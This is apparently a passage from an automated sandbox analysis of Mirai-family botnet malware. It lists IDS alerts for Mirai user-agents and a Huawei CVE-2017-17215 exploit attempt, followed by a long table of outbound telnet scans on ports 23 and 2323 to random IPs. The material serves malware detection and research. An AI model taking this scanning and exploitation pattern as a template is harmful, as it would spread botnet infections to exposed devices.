192.168.2.2386.183.147.12239070802846380 10/23/22-17:57:07.231559	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39070	80	192.168.2.23	86.183.147.122
192.168.2.23195.88.104.18658248802846457 10/23/22-17:56:43.310934	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58248	80	192.168.2.23	195.88.104.186
192.168.2.2382.202.211.19039010802846380 10/23/22-17:57:07.358204	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39010	80	192.168.2.23	82.202.211.190
192.168.2.2395.101.163.23453926802027121 10/23/22-17:56:53.373996	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	53926	80	192.168.2.23	95.101.163.234
192.168.2.2380.81.17.5141788802846457 10/23/22-17:57:32.444010	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41788	80	192.168.2.23	80.81.17.51
192.168.2.23213.151.52.23146752802846380 10/23/22-17:56:58.267699	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46752	80	192.168.2.23	213.151.52.231
192.168.2.2382.113.203.3441588802846380 10/23/22-17:58:36.861126	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41588	80	192.168.2.23	82.113.203.34
192.168.2.235.187.4.8841846802846457 10/23/22-17:57:53.239700	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41846	80	192.168.2.23	5.187.4.88
192.168.2.2376.141.28.5140116802835222 10/23/22-17:58:09.832463	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40116	80	192.168.2.23	76.141.28.51

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 23, 2022 17:56:36.198918104 CEST	42836	443	192.168.2.23	91.189.91.43
Oct 23, 2022 17:56:36.966775894 CEST	42516	80	192.168.2.23	109.202.202.202
Oct 23, 2022 17:56:36.984662056 CEST	20342	2323	192.168.2.23	222.23.23.192
Oct 23, 2022 17:56:36.984719038 CEST	20342	23	192.168.2.23	109.87.152.207
Oct 23, 2022 17:56:36.984777927 CEST	20342	23	192.168.2.23	80.214.103.169
Oct 23, 2022 17:56:36.984777927 CEST	20342	23	192.168.2.23	111.228.10.107
Oct 23, 2022 17:56:36.984777927 CEST	20342	23	192.168.2.23	37.140.206.211
Oct 23, 2022 17:56:36.984780073 CEST	20342	23	192.168.2.23	19.85.208.199
Oct 23, 2022 17:56:36.984780073 CEST	20342	23	192.168.2.23	134.27.53.140
Oct 23, 2022 17:56:36.984780073 CEST	20342	2323	192.168.2.23	60.209.78.253
Oct 23, 2022 17:56:36.984792948 CEST	20342	23	192.168.2.23	165.207.212.200
Oct 23, 2022 17:56:36.984792948 CEST	20342	23	192.168.2.23	123.206.170.145
Oct 23, 2022 17:56:36.984792948 CEST	20342	23	192.168.2.23	121.29.64.90
Oct 23, 2022 17:56:36.984793901 CEST	20342	23	192.168.2.23	222.10.163.192
Oct 23, 2022 17:56:36.984793901 CEST	20342	23	192.168.2.23	75.99.229.161
Oct 23, 2022 17:56:36.984793901 CEST	20342	23	192.168.2.23	147.53.59.217
Oct 23, 2022 17:56:36.984793901 CEST	20342	23	192.168.2.23	135.238.90.106
Oct 23, 2022 17:56:36.984823942 CEST	20342	23	192.168.2.23	209.110.81.184
Oct 23, 2022 17:56:36.984833956 CEST	20342	23	192.168.2.23	162.5.43.2
Oct 23, 2022 17:56:36.984833956 CEST	20342	23	192.168.2.23	20.190.184.6
Oct 23, 2022 17:56:36.984837055 CEST	20342	23	192.168.2.23	98.62.32.223
Oct 23, 2022 17:56:36.984837055 CEST	20342	23	192.168.2.23	2.238.191.41
Oct 23, 2022 17:56:36.984837055 CEST	20342	23	192.168.2.23	220.135.98.123
Oct 23, 2022 17:56:36.984848976 CEST	20342	23	192.168.2.23	80.60.181.214
Oct 23, 2022 17:56:36.984848976 CEST	20342	23	192.168.2.23	213.3.251.166
Oct 23, 2022 17:56:36.984849930 CEST	20342	2323	192.168.2.23	155.190.239.147
Oct 23, 2022 17:56:36.984849930 CEST	20342	23	192.168.2.23	212.34.177.6
Oct 23, 2022 17:56:36.984859943 CEST	20342	23	192.168.2.23	147.194.106.81
Oct 23, 2022 17:56:36.984868050 CEST	20342	23	192.168.2.23	108.146.78.50
Oct 23, 2022 17:56:36.984868050 CEST	20342	23	192.168.2.23	32.191.185.164
Oct 23, 2022 17:56:36.984884024 CEST	20342	23	192.168.2.23	101.134.148.111
Oct 23, 2022 17:56:36.984884024 CEST	20342	23	192.168.2.23	190.218.2.237
Oct 23, 2022 17:56:36.984885931 CEST	20342	23	192.168.2.23	179.152.150.23
Oct 23, 2022 17:56:36.984885931 CEST	20342	23	192.168.2.23	181.96.99.70
Oct 23, 2022 17:56:36.984884977 CEST	20342	23	192.168.2.23	221.171.49.53
Oct 23, 2022 17:56:36.984885931 CEST	20342	23	192.168.2.23	20.206.189.65
Oct 23, 2022 17:56:36.984885931 CEST	20342	2323	192.168.2.23	167.225.184.19
Oct 23, 2022 17:56:36.984885931 CEST	20342	23	192.168.2.23	39.108.234.201
Oct 23, 2022 17:56:36.984899044 CEST	20342	23	192.168.2.23	92.142.213.147
Oct 23, 2022 17:56:36.984899044 CEST	20342	23	192.168.2.23	105.25.164.152
Oct 23, 2022 17:56:36.984899044 CEST	20342	23	192.168.2.23	171.56.218.147
Oct 23, 2022 17:56:36.984899044 CEST	20342	23	192.168.2.23	201.164.93.35
Oct 23, 2022 17:56:36.984918118 CEST	20342	23	192.168.2.23	51.68.12.48
Oct 23, 2022 17:56:36.984918118 CEST	20342	23	192.168.2.23	116.177.176.181
Oct 23, 2022 17:56:36.984941959 CEST	20342	2323	192.168.2.23	137.185.234.82
Oct 23, 2022 17:56:36.984946966 CEST	20342	23	192.168.2.23	97.87.209.125
Oct 23, 2022 17:56:36.984954119 CEST	20342	23	192.168.2.23	124.201.113.98
Oct 23, 2022 17:56:36.984955072 CEST	20342	2323	192.168.2.23	223.135.170.20
Oct 23, 2022 17:56:36.984955072 CEST	20342	23	192.168.2.23	96.230.43.72
Oct 23, 2022 17:56:36.984973907 CEST	20342	23	192.168.2.23	109.182.249.172
Oct 23, 2022 17:56:36.984973907 CEST	20342	23	192.168.2.23	77.20.100.37
Oct 23, 2022 17:56:36.984985113 CEST	20342	23	192.168.2.23	200.147.143.170
Oct 23, 2022 17:56:36.984991074 CEST	20342	23	192.168.2.23	96.228.215.199
Oct 23, 2022 17:56:36.984993935 CEST	20342	23	192.168.2.23	4.48.71.136
Oct 23, 2022 17:56:36.984993935 CEST	20342	23	192.168.2.23	84.57.199.147
Oct 23, 2022 17:56:36.984993935 CEST	20342	23	192.168.2.23	138.46.108.221
Oct 23, 2022 17:56:36.985003948 CEST	20342	23	192.168.2.23	27.107.173.117
Oct 23, 2022 17:56:36.985003948 CEST	20342	23	192.168.2.23	60.176.158.83
Oct 23, 2022 17:56:36.985003948 CEST	20342	2323	192.168.2.23	138.16.157.197
Oct 23, 2022 17:56:36.985008955 CEST	20342	23	192.168.2.23	195.135.28.13
Oct 23, 2022 17:56:36.985008955 CEST	20342	23	192.168.2.23	110.95.123.153
Oct 23, 2022 17:56:36.985008955 CEST	20342	23	192.168.2.23	204.89.125.83
Oct 23, 2022 17:56:36.985024929 CEST	20342	23	192.168.2.23	18.252.255.146
Oct 23, 2022 17:56:36.985038042 CEST	20342	23	192.168.2.23	150.242.92.44
Oct 23, 2022 17:56:36.985038996 CEST	20342	23	192.168.2.23	43.15.170.29
Oct 23, 2022 17:56:36.985038042 CEST	20342	23	192.168.2.23	1.58.203.122
Oct 23, 2022 17:56:36.985038042 CEST	20342	23	192.168.2.23	81.123.26.180
Oct 23, 2022 17:56:36.985038042 CEST	20342	23	192.168.2.23	166.87.80.68
Oct 23, 2022 17:56:36.985059977 CEST	20342	23	192.168.2.23	106.190.49.240
Oct 23, 2022 17:56:36.985091925 CEST	20342	23	192.168.2.23	202.245.215.3
Oct 23, 2022 17:56:36.985105038 CEST	20342	23	192.168.2.23	106.150.168.161
Oct 23, 2022 17:56:36.985115051 CEST	20342	23	192.168.2.23	198.227.218.186
Oct 23, 2022 17:56:36.985115051 CEST	20342	23	192.168.2.23	76.38.77.221
Oct 23, 2022 17:56:36.985115051 CEST	20342	23	192.168.2.23	165.149.3.108
Oct 23, 2022 17:56:36.985116959 CEST	20342	2323	192.168.2.23	102.172.0.195
Oct 23, 2022 17:56:36.985140085 CEST	20342	23	192.168.2.23	114.12.74.123
Oct 23, 2022 17:56:36.985147953 CEST	20342	23	192.168.2.23	32.214.252.230
Oct 23, 2022 17:56:36.985147953 CEST	20342	23	192.168.2.23	196.71.153.217
Oct 23, 2022 17:56:36.985152960 CEST	20342	23	192.168.2.23	218.208.147.232
Oct 23, 2022 17:56:36.985166073 CEST	20342	23	192.168.2.23	152.21.22.132
Oct 23, 2022 17:56:36.985167027 CEST	20342	23	192.168.2.23	203.160.233.49
Oct 23, 2022 17:56:36.985167027 CEST	20342	23	192.168.2.23	81.99.213.15
Oct 23, 2022 17:56:36.985191107 CEST	20342	2323	192.168.2.23	113.174.49.97
Oct 23, 2022 17:56:36.985193968 CEST	20342	23	192.168.2.23	115.37.185.38
Oct 23, 2022 17:56:36.985193968 CEST	20342	23	192.168.2.23	128.240.38.208
Oct 23, 2022 17:56:36.985202074 CEST	20342	23	192.168.2.23	103.106.97.51
Oct 23, 2022 17:56:36.985218048 CEST	20342	23	192.168.2.23	212.137.182.13
Oct 23, 2022 17:56:36.985219955 CEST	20342	23	192.168.2.23	13.71.33.107
Oct 23, 2022 17:56:36.985224009 CEST	20342	23	192.168.2.23	42.115.133.129
Oct 23, 2022 17:56:36.985224962 CEST	20342	23	192.168.2.23	4.22.165.160
Oct 23, 2022 17:56:36.985224962 CEST	20342	23	192.168.2.23	161.29.228.23
Oct 23, 2022 17:56:36.985229969 CEST	20342	23	192.168.2.23	39.57.35.71
Oct 23, 2022 17:56:36.985229969 CEST	20342	2323	192.168.2.23	88.246.76.183
Oct 23, 2022 17:56:36.985241890 CEST	20342	23	192.168.2.23	81.48.164.172
Oct 23, 2022 17:56:36.985260963 CEST	20342	23	192.168.2.23	118.135.249.10
Oct 23, 2022 17:56:36.985261917 CEST	20342	23	192.168.2.23	210.15.47.172
Oct 23, 2022 17:56:36.985263109 CEST	20342	23	192.168.2.23	195.249.126.205
Oct 23, 2022 17:56:36.985261917 CEST	20342	23	192.168.2.23	166.64.37.125
Oct 23, 2022 17:56:36.985263109 CEST	20342	23	192.168.2.23	44.49.216.21
Oct 23, 2022 17:56:36.985286951 CEST	20342	23	192.168.2.23	19.248.44.244
Oct 23, 2022 17:56:36.985300064 CEST	20342	23	192.168.2.23	90.45.224.14
Oct 23, 2022 17:56:36.985300064 CEST	20342	23	192.168.2.23	147.220.95.227
Oct 23, 2022 17:56:36.985300064 CEST	20342	2323	192.168.2.23	85.13.255.31
Oct 23, 2022 17:56:36.985312939 CEST	20342	23	192.168.2.23	76.85.252.112
Oct 23, 2022 17:56:36.985335112 CEST	20342	23	192.168.2.23	9.10.137.70
Oct 23, 2022 17:56:36.985344887 CEST	20342	23	192.168.2.23	190.80.240.84
Oct 23, 2022 17:56:36.985344887 CEST	20342	23	192.168.2.23	203.96.239.126
Oct 23, 2022 17:56:36.985344887 CEST	20342	23	192.168.2.23	144.175.93.185
Oct 23, 2022 17:56:36.985351086 CEST	20342	23	192.168.2.23	196.92.9.246
Oct 23, 2022 17:56:36.985361099 CEST	20342	23	192.168.2.23	20.194.54.136
Oct 23, 2022 17:56:36.985361099 CEST	20342	23	192.168.2.23	178.228.8.198
Oct 23, 2022 17:56:36.985371113 CEST	20342	23	192.168.2.23	146.77.49.116
Oct 23, 2022 17:56:36.985371113 CEST	20342	2323	192.168.2.23	66.233.165.84
Oct 23, 2022 17:56:36.985374928 CEST	20342	23	192.168.2.23	67.130.232.48
Oct 23, 2022 17:56:36.985399961 CEST	20342	23	192.168.2.23	87.60.218.240
Oct 23, 2022 17:56:36.985404015 CEST	20342	23	192.168.2.23	202.20.196.67
Oct 23, 2022 17:56:36.985404968 CEST	20342	23	192.168.2.23	1.33.163.114
Oct 23, 2022 17:56:36.985419035 CEST	20342	23	192.168.2.23	45.97.68.125
Oct 23, 2022 17:56:36.985428095 CEST	20342	23	192.168.2.23	70.97.24.50
Oct 23, 2022 17:56:36.985430956 CEST	20342	23	192.168.2.23	201.224.176.93
Oct 23, 2022 17:56:36.985435963 CEST	20342	23	192.168.2.23	67.103.119.222
Oct 23, 2022 17:56:36.985445976 CEST	20342	2323	192.168.2.23	37.208.204.160
Oct 23, 2022 17:56:36.985449076 CEST	20342	23	192.168.2.23	207.61.55.75
Oct 23, 2022 17:56:36.985455990 CEST	20342	23	192.168.2.23	63.119.111.111
Oct 23, 2022 17:56:36.985464096 CEST	20342	23	192.168.2.23	40.94.237.26
Oct 23, 2022 17:56:36.985498905 CEST	20342	23	192.168.2.23	192.192.57.127
Oct 23, 2022 17:56:36.985502005 CEST	20342	23	192.168.2.23	115.245.46.228
Oct 23, 2022 17:56:36.985516071 CEST	20342	23	192.168.2.23	122.121.194.74
Oct 23, 2022 17:56:36.985516071 CEST	20342	23	192.168.2.23	103.141.112.138
Oct 23, 2022 17:56:36.985523939 CEST	20342	23	192.168.2.23	69.187.59.76
Oct 23, 2022 17:56:36.985531092 CEST	20342	23	192.168.2.23	12.57.221.174
Oct 23, 2022 17:56:36.985548973 CEST	20342	23	192.168.2.23	187.82.29.39
Oct 23, 2022 17:56:36.985549927 CEST	20342	2323	192.168.2.23	49.47.7.148
Oct 23, 2022 17:56:36.985548973 CEST	20342	23	192.168.2.23	42.160.182.14
Oct 23, 2022 17:56:36.985560894 CEST	20342	23	192.168.2.23	211.151.226.187
Oct 23, 2022 17:56:36.985560894 CEST	20342	23	192.168.2.23	49.105.144.94
Oct 23, 2022 17:56:36.985578060 CEST	20342	23	192.168.2.23	163.40.170.109
Oct 23, 2022 17:56:36.985582113 CEST	20342	23	192.168.2.23	88.236.164.180
Oct 23, 2022 17:56:36.985584021 CEST	20342	23	192.168.2.23	183.245.60.238
Oct 23, 2022 17:56:36.985605955 CEST	20342	23	192.168.2.23	93.245.193.214
Oct 23, 2022 17:56:36.985610008 CEST	20342	23	192.168.2.23	107.233.253.130
Oct 23, 2022 17:56:36.985618114 CEST	20342	23	192.168.2.23	51.136.155.171
Oct 23, 2022 17:56:36.985618114 CEST	20342	2323	192.168.2.23	18.0.233.213
Oct 23, 2022 17:56:36.985625982 CEST	20342	23	192.168.2.23	39.200.146.47
Oct 23, 2022 17:56:36.985641003 CEST	20342	23	192.168.2.23	163.8.212.38
Oct 23, 2022 17:56:36.985646963 CEST	20342	23	192.168.2.23	176.21.107.234
Oct 23, 2022 17:56:36.985656977 CEST	20342	23	192.168.2.23	51.171.123.112
Oct 23, 2022 17:56:36.985660076 CEST	20342	23	192.168.2.23	162.61.15.146
Oct 23, 2022 17:56:36.985666037 CEST	20342	23	192.168.2.23	88.172.217.168
Oct 23, 2022 17:56:36.985666037 CEST	20342	23	192.168.2.23	208.250.13.8
Oct 23, 2022 17:56:36.985681057 CEST	20342	23	192.168.2.23	113.175.141.153
Oct 23, 2022 17:56:36.985713005 CEST	20342	23	192.168.2.23	100.184.80.200
Oct 23, 2022 17:56:36.985721111 CEST	20342	2323	192.168.2.23	216.165.172.91
Oct 23, 2022 17:56:36.985721111 CEST	20342	23	192.168.2.23	19.115.229.126
Oct 23, 2022 17:56:36.985732079 CEST	20342	23	192.168.2.23	174.71.124.143
Oct 23, 2022 17:56:36.985754013 CEST	20342	23	192.168.2.23	42.137.102.129
Oct 23, 2022 17:56:36.985760927 CEST	20342	23	192.168.2.23	187.164.68.81
Oct 23, 2022 17:56:36.985760927 CEST	20342	23	192.168.2.23	151.121.213.201
Oct 23, 2022 17:56:36.985760927 CEST	20342	23	192.168.2.23	4.42.118.128
Oct 23, 2022 17:56:36.985769033 CEST	20342	23	192.168.2.23	130.192.181.93
Oct 23, 2022 17:56:36.985769033 CEST	20342	23	192.168.2.23	184.113.73.117
Oct 23, 2022 17:56:36.985790014 CEST	20342	23	192.168.2.23	135.13.19.213
Oct 23, 2022 17:56:36.985800028 CEST	20342	23	192.168.2.23	86.61.112.154
Oct 23, 2022 17:56:36.985802889 CEST	20342	2323	192.168.2.23	118.24.215.130
Oct 23, 2022 17:56:36.985810041 CEST	20342	23	192.168.2.23	111.164.182.134
Oct 23, 2022 17:56:36.985814095 CEST	20342	23	192.168.2.23	36.13.81.18
Oct 23, 2022 17:56:36.985814095 CEST	20342	23	192.168.2.23	102.196.68.131
Oct 23, 2022 17:56:36.985816956 CEST	20342	23	192.168.2.23	101.154.69.221
Oct 23, 2022 17:56:36.985826969 CEST	20342	23	192.168.2.23	64.192.54.68
Oct 23, 2022 17:56:36.985832930 CEST	20342	23	192.168.2.23	116.55.241.206
Oct 23, 2022 17:56:36.985843897 CEST	20342	23	192.168.2.23	91.213.178.245
Oct 23, 2022 17:56:36.985848904 CEST	20342	23	192.168.2.23	163.252.142.61
Oct 23, 2022 17:56:36.985848904 CEST	20342	2323	192.168.2.23	60.206.247.20
Oct 23, 2022 17:56:36.985868931 CEST	20342	23	192.168.2.23	187.80.130.106
Oct 23, 2022 17:56:36.985868931 CEST	20342	23	192.168.2.23	25.215.159.209
Oct 23, 2022 17:56:36.985879898 CEST	20342	23	192.168.2.23	166.129.4.44
Oct 23, 2022 17:56:36.985882998 CEST	20342	23	192.168.2.23	202.179.103.227
Oct 23, 2022 17:56:36.985908031 CEST	20342	23	192.168.2.23	122.121.154.12
Oct 23, 2022 17:56:36.985909939 CEST	20342	23	192.168.2.23	121.116.194.141
Oct 23, 2022 17:56:36.985909939 CEST	20342	23	192.168.2.23	114.254.219.9
Oct 23, 2022 17:56:36.985915899 CEST	20342	23	192.168.2.23	78.10.104.174
Oct 23, 2022 17:56:36.985938072 CEST	20342	2323	192.168.2.23	210.87.221.6
Oct 23, 2022 17:56:36.985940933 CEST	20342	23	192.168.2.23	200.62.194.67
Oct 23, 2022 17:56:36.985946894 CEST	20342	23	192.168.2.23	156.170.237.93
Oct 23, 2022 17:56:36.985956907 CEST	20342	23	192.168.2.23	27.238.93.234
Oct 23, 2022 17:56:36.985956907 CEST	20342	23	192.168.2.23	70.68.86.128
Oct 23, 2022 17:56:36.985958099 CEST	20342	23	192.168.2.23	219.105.70.224
Oct 23, 2022 17:56:36.985961914 CEST	20342	23	192.168.2.23	37.52.217.17
Oct 23, 2022 17:56:36.985974073 CEST	20342	23	192.168.2.23	40.74.158.159
Oct 23, 2022 17:56:36.985974073 CEST	20342	23	192.168.2.23	81.185.252.68
Oct 23, 2022 17:56:36.985986948 CEST	20342	23	192.168.2.23	108.3.20.70
Oct 23, 2022 17:56:36.985989094 CEST	20342	23	192.168.2.23	218.74.157.72
Oct 23, 2022 17:56:36.986002922 CEST	20342	2323	192.168.2.23	72.153.70.51
Oct 23, 2022 17:56:36.986015081 CEST	20342	23	192.168.2.23	125.217.26.42
Oct 23, 2022 17:56:36.986015081 CEST	20342	23	192.168.2.23	46.54.235.135
Oct 23, 2022 17:56:36.986016035 CEST	20342	23	192.168.2.23	197.111.104.111
Oct 23, 2022 17:56:36.986022949 CEST	20342	23	192.168.2.23	154.117.146.50
Oct 23, 2022 17:56:36.986040115 CEST	20342	23	192.168.2.23	142.12.189.161
Oct 23, 2022 17:56:36.986049891 CEST	20342	23	192.168.2.23	200.221.200.95
Oct 23, 2022 17:56:36.986054897 CEST	20342	23	192.168.2.23	192.32.13.161
Oct 23, 2022 17:56:36.986062050 CEST	20342	23	192.168.2.23	130.188.232.252
Oct 23, 2022 17:56:36.986073971 CEST	20342	2323	192.168.2.23	194.143.151.212
Oct 23, 2022 17:56:36.986080885 CEST	20342	23	192.168.2.23	88.91.115.48
Oct 23, 2022 17:56:36.986083031 CEST	20342	23	192.168.2.23	198.96.34.5
Oct 23, 2022 17:56:36.986097097 CEST	20342	23	192.168.2.23	171.24.84.180
Oct 23, 2022 17:56:36.986097097 CEST	20342	23	192.168.2.23	193.224.146.170
Oct 23, 2022 17:56:36.986109972 CEST	20342	23	192.168.2.23	46.106.232.68
Oct 23, 2022 17:56:36.986120939 CEST	20342	23	192.168.2.23	90.215.240.198
Oct 23, 2022 17:56:36.986129999 CEST	20342	23	192.168.2.23	4.136.192.117
Oct 23, 2022 17:56:36.986131907 CEST	20342	23	192.168.2.23	53.176.14.68
Oct 23, 2022 17:56:36.986138105 CEST	20342	23	192.168.2.23	136.207.214.135
Oct 23, 2022 17:56:36.986157894 CEST	20342	23	192.168.2.23	113.253.145.149
Oct 23, 2022 17:56:36.986157894 CEST	20342	23	192.168.2.23	192.171.77.168
Oct 23, 2022 17:56:36.986172915 CEST	20342	2323	192.168.2.23	141.211.229.80
Oct 23, 2022 17:56:36.986172915 CEST	20342	23	192.168.2.23	43.211.50.226
Oct 23, 2022 17:56:36.986172915 CEST	20342	23	192.168.2.23	70.2.119.64
Oct 23, 2022 17:56:36.986182928 CEST	20342	23	192.168.2.23	174.80.226.13
Oct 23, 2022 17:56:36.986190081 CEST	20342	23	192.168.2.23	112.222.138.30
Oct 23, 2022 17:56:36.986190081 CEST	20342	23	192.168.2.23	118.170.251.103
Oct 23, 2022 17:56:36.986206055 CEST	20342	23	192.168.2.23	64.127.198.234
Oct 23, 2022 17:56:36.986210108 CEST	20342	23	192.168.2.23	74.237.76.246
Oct 23, 2022 17:56:36.986212969 CEST	20342	23	192.168.2.23	152.247.39.55
Oct 23, 2022 17:56:36.986219883 CEST	20342	2323	192.168.2.23	133.22.111.217
Oct 23, 2022 17:56:36.986226082 CEST	20342	23	192.168.2.23	95.46.135.30
Oct 23, 2022 17:56:36.986231089 CEST	20342	23	192.168.2.23	83.216.3.146
Oct 23, 2022 17:56:36.986243963 CEST	20342	23	192.168.2.23	176.58.208.169
Oct 23, 2022 17:56:36.986244917 CEST	20342	23	192.168.2.23	124.43.60.228
Oct 23, 2022 17:56:36.986253977 CEST	20342	23	192.168.2.23	192.201.149.118
Oct 23, 2022 17:56:36.986264944 CEST	20342	23	192.168.2.23	183.234.223.35
Oct 23, 2022 17:56:36.986267090 CEST	20342	23	192.168.2.23	143.46.17.102
Oct 23, 2022 17:56:36.986285925 CEST	20342	23	192.168.2.23	123.239.110.52
Oct 23, 2022 17:56:36.986285925 CEST	20342	2323	192.168.2.23	132.83.174.228
Oct 23, 2022 17:56:36.986294985 CEST	20342	23	192.168.2.23	122.234.225.9
Oct 23, 2022 17:56:36.986299038 CEST	20342	23	192.168.2.23	23.140.208.38
Oct 23, 2022 17:56:36.986306906 CEST	20342	23	192.168.2.23	94.143.11.230
Oct 23, 2022 17:56:36.986318111 CEST	20342	23	192.168.2.23	192.38.135.100
Oct 23, 2022 17:56:36.986334085 CEST	20342	23	192.168.2.23	217.224.93.146
Oct 23, 2022 17:56:36.986340046 CEST	20342	23	192.168.2.23	98.54.142.24
Oct 23, 2022 17:56:36.986344099 CEST	20342	23	192.168.2.23	137.198.219.112
Oct 23, 2022 17:56:36.986347914 CEST	20342	23	192.168.2.23	125.204.198.82
Oct 23, 2022 17:56:36.986347914 CEST	20342	23	192.168.2.23	80.200.201.33
Oct 23, 2022 17:56:36.986361980 CEST	20342	2323	192.168.2.23	213.80.56.202
Oct 23, 2022 17:56:36.986366034 CEST	20342	23	192.168.2.23	179.79.91.111
Oct 23, 2022 17:56:36.986380100 CEST	20342	23	192.168.2.23	161.122.105.74
Oct 23, 2022 17:56:36.986385107 CEST	20342	23	192.168.2.23	179.30.47.219
Oct 23, 2022 17:56:36.986391068 CEST	20342	23	192.168.2.23	116.146.28.38
Oct 23, 2022 17:56:36.986398935 CEST	20342	23	192.168.2.23	42.68.142.75
Oct 23, 2022 17:56:36.986398935 CEST	20342	23	192.168.2.23	80.200.250.34
Oct 23, 2022 17:56:36.986411095 CEST	20342	23	192.168.2.23	175.244.29.0
Oct 23, 2022 17:56:36.986424923 CEST	20342	23	192.168.2.23	79.148.156.175
Oct 23, 2022 17:56:36.986424923 CEST	20342	23	192.168.2.23	60.221.55.60
Oct 23, 2022 17:56:36.986432076 CEST	20342	23	192.168.2.23	118.77.98.176
Oct 23, 2022 17:56:36.986432076 CEST	20342	2323	192.168.2.23	167.18.68.161
Oct 23, 2022 17:56:36.986445904 CEST	20342	23	192.168.2.23	192.63.243.9
Oct 23, 2022 17:56:36.986445904 CEST	20342	23	192.168.2.23	17.58.249.155
Oct 23, 2022 17:56:36.986464977 CEST	20342	23	192.168.2.23	147.231.57.192
Oct 23, 2022 17:56:36.986474991 CEST	20342	23	192.168.2.23	81.192.136.13
Oct 23, 2022 17:56:36.986474991 CEST	20342	23	192.168.2.23	191.122.96.116
Oct 23, 2022 17:56:36.986474991 CEST	20342	23	192.168.2.23	212.27.0.55
Oct 23, 2022 17:56:36.986479998 CEST	20342	23	192.168.2.23	111.127.24.81
Oct 23, 2022 17:56:36.986494064 CEST	20342	23	192.168.2.23	121.129.218.193
Oct 23, 2022 17:56:36.986495018 CEST	20342	2323	192.168.2.23	171.36.94.189
Oct 23, 2022 17:56:36.986512899 CEST	20342	23	192.168.2.23	19.171.31.114
Oct 23, 2022 17:56:36.986515045 CEST	20342	23	192.168.2.23	171.34.66.160
Oct 23, 2022 17:56:36.986515045 CEST	20342	23	192.168.2.23	86.72.18.31
Oct 23, 2022 17:56:36.986517906 CEST	20342	23	192.168.2.23	84.102.147.46
Oct 23, 2022 17:56:36.986530066 CEST	20342	23	192.168.2.23	92.166.61.218
Oct 23, 2022 17:56:36.986530066 CEST	20342	23	192.168.2.23	58.206.61.13
Oct 23, 2022 17:56:36.986542940 CEST	20342	23	192.168.2.23	60.239.255.37
Oct 23, 2022 17:56:36.986547947 CEST	20342	23	192.168.2.23	120.125.218.143
Oct 23, 2022 17:56:36.986561060 CEST	20342	23	192.168.2.23	39.209.92.217
Oct 23, 2022 17:56:36.986572027 CEST	20342	2323	192.168.2.23	64.230.20.248
Oct 23, 2022 17:56:36.986572981 CEST	20342	23	192.168.2.23	166.191.236.150
Oct 23, 2022 17:56:36.986579895 CEST	20342	23	192.168.2.23	216.213.115.166
Oct 23, 2022 17:56:36.986579895 CEST	20342	23	192.168.2.23	45.235.246.82
Oct 23, 2022 17:56:36.986596107 CEST	20342	23	192.168.2.23	115.156.226.195
Oct 23, 2022 17:56:36.986596107 CEST	20342	23	192.168.2.23	23.84.163.134
Oct 23, 2022 17:56:36.986601114 CEST	20342	23	192.168.2.23	34.200.97.165
Oct 23, 2022 17:56:36.986601114 CEST	20342	23	192.168.2.23	183.182.115.185
Oct 23, 2022 17:56:36.986603022 CEST	20342	23	192.168.2.23	200.3.249.50
Oct 23, 2022 17:56:36.986608028 CEST	20342	23	192.168.2.23	37.234.181.53
Oct 23, 2022 17:56:36.986627102 CEST	20342	23	192.168.2.23	71.159.59.22
Oct 23, 2022 17:56:36.987173080 CEST	20342	2323	192.168.2.23	103.112.157.203
Oct 23, 2022 17:56:36.987174034 CEST	20342	23	192.168.2.23	85.2.137.95
Oct 23, 2022 17:56:36.987174988 CEST	20342	23	192.168.2.23	49.60.165.13
Oct 23, 2022 17:56:36.987174034 CEST	20342	23	192.168.2.23	143.153.236.219
Oct 23, 2022 17:56:36.987176895 CEST	20342	23	192.168.2.23	8.193.73.146
Oct 23, 2022 17:56:36.987184048 CEST	20342	23	192.168.2.23	78.36.58.249
Oct 23, 2022 17:56:36.987174988 CEST	20342	23	192.168.2.23	206.63.80.248
Oct 23, 2022 17:56:36.987176895 CEST	20342	23	192.168.2.23	14.172.206.196
Oct 23, 2022 17:56:36.987196922 CEST	20342	23	192.168.2.23	188.252.102.145
Oct 23, 2022 17:56:36.987196922 CEST	20342	23	192.168.2.23	91.154.223.231
Oct 23, 2022 17:56:36.987206936 CEST	20342	23	192.168.2.23	93.220.167.96
Oct 23, 2022 17:56:36.987212896 CEST	20342	2323	192.168.2.23	146.225.42.33
Oct 23, 2022 17:56:36.987257957 CEST	20342	23	192.168.2.23	82.110.86.138
Oct 23, 2022 17:56:36.987258911 CEST	20342	23	192.168.2.23	105.164.248.0
Oct 23, 2022 17:56:36.987260103 CEST	20342	2323	192.168.2.23	54.18.155.87
Oct 23, 2022 17:56:36.987258911 CEST	20342	23	192.168.2.23	4.68.55.101
Oct 23, 2022 17:56:36.987262011 CEST	20342	23	192.168.2.23	32.36.118.240
Oct 23, 2022 17:56:36.987262011 CEST	20342	23	192.168.2.23	202.112.173.59
Oct 23, 2022 17:56:36.987262011 CEST	20342	23	192.168.2.23	155.32.161.245
Oct 23, 2022 17:56:36.987303019 CEST	20342	23	192.168.2.23	170.58.239.49
Oct 23, 2022 17:56:36.987303019 CEST	20342	23	192.168.2.23	17.86.126.236
Oct 23, 2022 17:56:36.987303019 CEST	20342	23	192.168.2.23	161.101.238.30
Oct 23, 2022 17:56:36.987370014 CEST	20342	23	192.168.2.23	59.29.239.197
Oct 23, 2022 17:56:36.987373114 CEST	20342	23	192.168.2.23	123.90.213.29
Oct 23, 2022 17:56:36.987373114 CEST	20342	23	192.168.2.23	130.198.153.205
Oct 23, 2022 17:56:36.987373114 CEST	20342	23	192.168.2.23	104.22.245.10
Oct 23, 2022 17:56:36.987373114 CEST	20342	23	192.168.2.23	123.62.199.201
Oct 23, 2022 17:56:36.987375021 CEST	20342	23	192.168.2.23	139.226.45.215
Oct 23, 2022 17:56:36.987375021 CEST	20342	23	192.168.2.23	223.207.93.125
Oct 23, 2022 17:56:36.987375021 CEST	20342	2323	192.168.2.23	187.171.191.112
